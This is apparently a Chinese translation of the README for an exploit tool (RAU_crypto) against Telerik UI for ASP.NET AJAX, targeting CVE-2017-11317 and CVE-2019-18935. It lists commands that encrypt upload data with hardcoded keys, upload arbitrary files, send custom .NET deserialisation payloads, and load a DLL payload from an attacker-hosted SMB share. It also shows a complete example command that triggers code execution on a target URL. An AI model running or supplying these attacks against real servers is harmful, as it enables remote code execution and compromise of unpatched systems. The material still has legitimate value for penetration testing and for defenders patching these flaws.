针对 Telerik UI for ASP.NET AJAX 的合并利用。
现在支持测试目标能否从攻击者托管的 SMB 服务中拉取远程载荷。使用 Burp Collaborator 和/或 Responder 来协助测试必要前提条件是否满足。
为了成功利用,通常需要一个包含硬编码密钥的版本,或者需要知道密钥,例如通过泄露 web.config 的内容。该利用工具还支持对用于 Telerik.Web.UI.WebResource.axd?type=rau 的 rauPostData 进行直接的解密和加密。
pip3 install pycryptodome 或 pip3 install pycryptodomex 安装我的另一个 Telerik UI 利用工具(针对 CVE-2017-9248)可能也会感兴趣。它位于:
注意 - 最后四项已完成但尚未发布。
文件上传漏洞(CVE-2017-11317)由其他人发现,我认为归功于 @straight_blast @pwntester @olekmirosh 。在它公布后不久,我在工作中遇到了 Telerik 库,于是我对其进行了研究,并编写了此利用工具(2017年7月)。我还报告了相关的间接对象引用漏洞 CVE-2017-11357。
.NET 反序列化漏洞(CVE-2019-18935)由 @mwulftange 发现。
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py -h
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Check remote SMB payload capability -r lhost url [proxy]
Load remote SMB dll payload -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
解密截图
上传截图
有关 .NET 反序列化自定义载荷的详细信息,有一篇由发现此漏洞的 @mwulftange 撰写的优秀文章,位于 Code White 博客,链接如下。
更新 - Caleb Gross @noperator 提供了一个替代利用工具,它融合了本工具的功能,并附有一篇精彩的博客文章解释一切。也感谢 Caleb 对 RAU_Crypto 的贡献。
其他相关链接。
示例 .NET 反序列化载荷:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
关于混合模式 DLL,请参阅我的另一个 GitHub 仓库:
特别感谢 @irsdl 对自定义载荷功能的启发。
致谢 @rwincey 对远程 DLL 功能的启发。